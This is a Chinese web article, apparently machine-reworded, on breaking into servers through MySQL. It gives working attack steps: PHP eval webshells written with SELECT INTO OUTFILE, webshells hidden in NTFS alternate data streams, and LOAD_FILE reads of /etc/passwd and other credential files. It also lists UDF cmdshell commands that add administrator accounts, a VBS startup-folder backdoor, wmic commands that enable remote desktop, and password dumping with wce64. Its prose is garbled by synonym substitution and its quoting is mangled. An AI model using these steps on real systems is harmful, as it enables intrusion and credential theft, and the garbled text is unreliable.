首页 » Web前端 » exehackphp技巧_MySQL必知必会的常识点

exehackphp技巧_MySQL必知必会的常识点

访客 2024-12-08 0

扫一扫用手机浏览

文章目录 [+]

SQL 措辞是访问数据库最常用的标准化措辞。
MySQL 软件采取了 GPL(GNU 通用公共容许证),它分为免费版和商业版,由于其体积小、速率快、总体拥有本钱低,尤其是开放源码这一特点,一样平常中小型网站的开拓都选择 MySQL 作为网站数据库。
由于其免费版的性能卓越,搭配 PHP 和 Apache 可组成良好的开拓环境,MySQL 分为商业版本(MySQL Enterprise Edition 和 MySQL Cluster CGE )和 GPL 版本(MySQL Community Edition)。

exehackphp技巧_MySQL必知必会的常识点

MySQL 提权必备条件

exehackphp技巧_MySQL必知必会的常识点
(图片来自网络侵删)

1

做事器安装 MySQL 数据库

利用 MySQL 提权的条件便是做事器安装了 MySQL 数据库,且 MySQL 的做事没有降权,MySQL 数据库默认安装因此系统权限继续的,并且须要获取 MySQL root账号密码。

2

判断 MySQL 做事运行权限

对付 MySQL 数据库做事运行权限有很多方法,我这里紧张先容三种,一种是通过查看系统账号,也即利用“net user”命令查看系统当前账号,如果涌现了 MySQL 这类用户,以为着系统可能进行了降权,一样平常情形都不会降权。
第二种方法便是看 Mysqld 运行的 Priority 值,如图1所示。
通过 aspx 的网页木马来查看 Process 信息,在图中我们可以看到系统权限的 Priority 值为“8 ”,如果Mysqld 的 Priority 值也为 8 则意味着 MySQL 因此 System 权限运行的。
第三种方法是查看端口可否外联,一样平常情形下是不许可 root 等账号外联,外部直接连接意味着账号可能被截取和嗅探,通过本地客户端直接连接对方做事器,直接查看和操作 MySQL 数据库,可以通过扫描 3306 端口来判断是否供应对外连接。

查看 Priority 值来判断 Mysqld 做事运行权限

Mysql密码获取与破解

1

获取网站数据库账号和密码

对付 CMS 系统,一定会有一个文件定义了数据库连接的用户和密码。
例如以下代码:

$db['default']['hostname'] = 'localhost';

$db['default']['username'] = 'root';

$db['default']['password'] = '123456';

$db['default']['database'] = 'crm';

dedecms 数据库安装的信息便是写在 data/common.inc.php,Discuz 的数据库信息就在 config/config_global_default.php、config /config_ucenter.php、config.inc.php。
一样平常数据库配置文件都会位于 config、application、conn、db等目录,配置文件名称一样平常会是 conn.asp/php/aspx/jsp 等。
对付 java 会在 /WEB-INF/config/config.properties 中配置,总之通过查看源代码,进行层层剖析,究竟会创造数据库配置文件。

对付 Linux 操作系统,除了上述方法获取 oot 账号密码外,还可以通过查看 ./root/.mysql_history、./root/.bash_history 文件查看 MySQL 操作涉及的密码。
当然对付 MySQL 5.6 以下版本,由于设计 MySQL 程序时对付安全性的重视度非常低,用户密码是明文传输。

MySQL对付 binary log 中和用户密码干系的操作是不加密的。
如果你向 MySQL 发送了例如 create user,grant user ... identified by 这样的携带初始明文密码的指令,那么会在 binary log 中原原来本的被还原出来,实行“mysqlbinlog binlog.000001”命令即可获取,如图4所示。

查看 binlog 日志

2

获取 MySQL 数据库 user 表

MySQL 所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也便是安装程序的 data 目录下,有关用户一共有三个文件即 user.frm、user.MYD 和 user.MYI,MySQL 数据库用户密码都保存在user.MYD 文件中,包括 root 用户和其他用户的密码。

在有权限的情形下,我们可以将 User.frm、user.myd 和 User.myi 三个文件下载到本地,通过本地的 MySQL 环境直接读取 user 表中的数据。
当然也可利用文本编辑器将 user.MYD 打开将 root 账号的密码复制出来到到 cmd5.com 进行查询和破解。
对付 MySQL 数据库密码如果通过 cmd5.com 等网站不能查询到密码则须要自己手动破解,有关MySQL 数据库密码手动破解,请查阅下一章。

3

MySQL 密码查询

可以通过以下查询语句直接查询 MySQL 数据库中的所有用户和密码,如图2所示。

select user,password from mysql.user;

select user,password from mysql.user where user ='root';

4

MySQL 密码加密算法

MySQL 实际上是利用了两次 SHA1 夹杂一次 unhex 的办法对用户密码进行了加密。
详细的算法可以用公式表示:password_str = concat('', sha1(unhex(sha1(password)))),可以通过查询语句进行验证,查询结果如图3所示。

select password('mypassword'),concat('',sha1(unhex(sha1('mypassword'))));

图3 MySQL 数据库加密算法

MySQL 获取 webshell

MySQL root 账号网站获取 webshell 具备的条件:

1. 知道站点物理路径,网站物理路子可以通过 phpinfo 函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径预测等方法获取。

2. 有足够大的权限,最好是 root 账号权限或者具备 root 权限的其它账号,可以用 select user,password from mysql.user 进行测试。

3. magic_quotes_gpc=OFF。
对付 PHP magic_quotes_gpc=on 的情形,可以不对输入和输出数据库的字符串数据作 addslashes 和 stripslashes 的操作,数据也会正常显示。
对付 PHP magic_quotes_gpc=off 的情形必须利用 addslashes 对输入数据进行处理,但并不须要利用 stripslashes 格式化输出,由于 addslashes 并未将反斜杠一起写入数据库,只是帮助 MySQL 完成了 SQL 语句的实行。

4. 直接导出 webshell,实行下面语句

Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';

and 1=2 union all select 一句话HEX值 into outfile '路径';

也可以通过创建表来直接完成,个中 d:/www/exehack.php 为 webshell 的名称和路径:

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT );

INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');

SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';

DROP TABLE IF EXISTS `darkmoon`;

5. 有些情形下节制了 MSSQL 数据库口令,但做事器环境是 Windows2008,web 环境是 PHP,则可以通过 SQLTOOLs 工具,直接连接命令,通过以下命令写入shell:

echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php

MySQL 渗透有用的一些技巧总结

1

常见的有助于渗透到 MySQL 函数

在对 MySQL 数据库架构的渗透中,MySQL 内置的函数 DATABASE、USER、SYSTEM_USER、SESSION_USER 和 CURRENT_USER 可以用来获取一些系统的信息,而 load_file 浸染是读入文件,并将文件内容作为一个字符串返回,这在渗透中尤其有用,例如创造一个 php 的 SQL 注入点,则可以通过布局“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。

(1) 一些常见的系统配置文件

c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件,记录管理员上岸过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\.cif文件

//存储了pcAnywhere的上岸密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开拓的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP干系设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

(2) 直接读取配置文件

SELECT LOAD_FILE('/etc/passwd' )

SELECT LOAD_FILE('/etc/issues' )

SELECT LOAD_FILE('/etc/etc/rc.local' )

SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )

SELECT LOAD_FILE('/etc/nginx/nginx.conf' )

(3) Linux 下通过 load_file 函数读出来的数据库有可能是 hex 编码,要正常查看须要利用 NotePad 将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”进行转换。

2. Windows 下 MySQL 提权时无法创建目录办理办法及数据流隐蔽 Webshell

NTFS 中的 ADS (交流数据流)可以建立目录,隐蔽 webshell 等等。

(1) MySQL 创建目录

当 MySQL 版本较高时,自定义函数的dll须要放在mysql目录下的lib\plugin\。
一样平常普通的脚本是没有在这个文件夹下创建文件夹的权限的。
这里可以用到ads来打破:

select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';

会在 MySQL 目录下天生一个 lib 目录,这样你就可以将你的 udf 放在这个插件目录下了。

(2) 隐蔽webshell

在做事器上 echo 一个数据流文件进去,比如 index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg

这样子就天生了一个不可见的 shell a.jpg,常规的文件管理器、type 命令,dir 命令、del 命令创造都找不出那个 a.jpg 的。
我们可以在其余一个正常文件里把这个 ADS 文件 include 进去,这样子就可以正常解析我们的一句话了。

3

有用的一些技巧

(1) 3389 端口命令行下获取总结

netstat -an |find \"大众3389\"大众 查看3389端口是否开放

tasklist /svc | find \公众TermService\公众 获取对应TermService的PID号

netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号

(2) Windows 2008 Server 命令行开启 3389

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != \"大众\"大众) call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

reg add \公众HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\公众 /v

(3) wce64 -w 命令直接获取系统明文登录密码

(4) 在 phpinfo 中查找 SCRIPT_FILENAME 关键字获取真实路径

(5) Linux 终端提示符下查看 mysql 有关信息,ps -ef|grep mysql

(6) Linux 下启动 mysql 做事:service mysqld start

(7) Linux 下查看 mysqld 是否启动:ps -el | grep mysqld

(8) 查看 mysql 在哪里:whereis mysql

(9) 查询运行文件所在路径 which mysql

(10) udf.dll提权常见函数

cmdshell 实行cmd;

downloader 下载者,到网高下载指定文件并保存到指定目录;

open3389 通用开3389终端做事,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 列举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 解释与帮助函数;

详细用户示例:

select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

select cmdshell('netstat -an');

4

一些常见的 MySQL 命令

(1) 连接到 mysql 做事器

mysql -h 192.168.0.1 -u root -pantian365.com antian365

(2) 查看所有数据库

show databases;

(3) 利用某个数据库

use testdatabase;

(4) 查看数据库中的所有表

show tables;

(5) 在 test 数据库下创建一个新的表

create table a (cmd text);

(6) 在表中插入内容添加用户命令

insert into a values (\"大众set wshshell=createobject (\公众\公众wscript.shell\公众\"大众 ) \"大众 );

nsert into a values (\公众a=wshshell.run (\公众\公众cmd.exe /c net user 1 1/add\公众\公众,0) \"大众 );

insert into a values (\公众b=wshshell.run (\"大众\公众cmd.exe /c net localgroup administrators 1 /add\"大众\"大众,0) \"大众 );

(7) 查询 a 表中所有的数据

select from a

(8) 导出数据到系统某个目录下

select from a into outfile \"大众c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs\"大众;

(9) 查询数据库数据路径

select @@datadir;

(10) 查看所有 dir 路径

SHOW VARIABLES WHERE Variable_Name LIKE \"大众%dir\公众

(11) 查看插件路径

show variables like '%plugins%' ;

(12) 查询MySQL安装路径

select @@basedir

(13) 常用内置函数

select system_user 查看系统用户

select current_user 查询当前用户

select user; 查询用户

SELECT version 查询数据库版本

SELECT database 查询当前连接的数据库

select @@version_compile_os 查询当前操作系统

select now; 显示当前韶光

(14) 获取表构造

desc 表名 或者show columns from 表名

(15) 删除表

drop table <表名>

注:本文是笔者撰写的 MySQL 安全防护系列文章的第一期,后续我们会持续推出,敬请期待。

参考文章:

http://www.jb51.net/hack/41493.html

http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/

http://www.myhack58.com/Article/html/3/8/2016/75694.htm

http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html

广 告

相关文章

phpjson转table技巧_C 操作JSON的几种办法

本篇通过两种在c#中常用的办法来实现对Json数据的序列化和反序列化,为了实现大多数的需求,我们采取轻微繁芜一点的数据模型。首先我...

Web前端 2024-12-10 阅读0 评论0